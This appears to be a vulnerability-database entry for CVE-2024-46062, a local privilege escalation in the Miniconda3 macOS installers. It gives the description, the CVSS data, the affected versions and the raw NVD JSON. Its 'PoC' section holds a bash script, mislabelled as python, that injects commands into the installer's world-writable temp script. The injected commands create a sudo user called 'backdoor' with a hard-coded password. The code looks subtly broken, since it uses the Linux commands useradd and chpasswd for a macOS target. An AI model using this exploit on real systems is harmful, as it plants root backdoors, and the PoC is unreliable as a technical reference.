Security Vulnerability Report
中文
CVE-2024-46062 CVSS 7.8 HIGH

CVE-2024-46062

Published: 2025-12-17 19:16:00
Last Modified: 2026-01-05 14:37:34

Description

Miniconda3 macOS installers before 23.11.0-1 contain a local privilege escalation vulnerability when installed outside the user's home directory. During installation, world-writable files are created and executed with root privileges. This flaw allows a local low-privileged user to inject arbitrary commands, leading to code execution as the root user.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:conda:miniconda3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Miniconda3 macOS installers < 23.11.0-1
Miniconda3 23.x系列 < 23.11.0-1
所有在非用户主目录位置安装的Miniconda3版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2024-46062 PoC - Miniconda3 macOS Local Privilege Escalation # Run this script before installing Miniconda3 outside home directory TARGET_DIR="/tmp" MALICIOUS_SCRIPT="$TARGET_DIR/miniconda_install_temp.sh" # Wait for installer to create temporary script while [ ! -f "$TARGET_DIR/miniconda"*_install*.sh ]; do sleep 0.5 done # Get the installer temp script INSTALL_SCRIPT=$(ls $TARGET_DIR/miniconda*_install*.sh 2>/dev/null | head -1) if [ -n "$INSTALL_SCRIPT" ]; then echo "[+] Found installer script: $INSTALL_SCRIPT" # Inject malicious payload before root execution cat >> "$INSTALL_SCRIPT" << 'EOF' # CVE-2024-46062 payload - adds backdoor user useradd -m -s /bin/bash -G sudo backdoor 2>/dev/null echo "backdoor:BackdoorPass123" | chpasswd chmod +x /bin/bash # End of payload EOF echo "[+] Payload injected successfully" echo "[!] Waiting for installer to execute with root privileges..." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46062", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:00.300", "lastModified": "2026-01-05T14:37:33.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Miniconda3 macOS installers before 23.11.0-1 contain a local privilege escalation vulnerability when installed outside the user's home directory. During installation, world-writable files are created and executed with root privileges. This flaw allows a local low-privileged user to inject arbitrary commands, leading to code execution as the root user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-732"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:conda:miniconda3:*:*:*:*:*:*:*:*", "versionEndExcluding": "23.11.0-1", "matchCriteriaId": "1B602926-B2F1-4E91-94CB-74F14D3AA511"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://m8sec.dev/blog/privilege-escalation-macos-pkg-installers/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.anaconda.com/docs/getting-started/miniconda/release/23.x#miniconda-23-11-0-1", "source": "[email protected]", "tags": ["Release Notes"]}]}}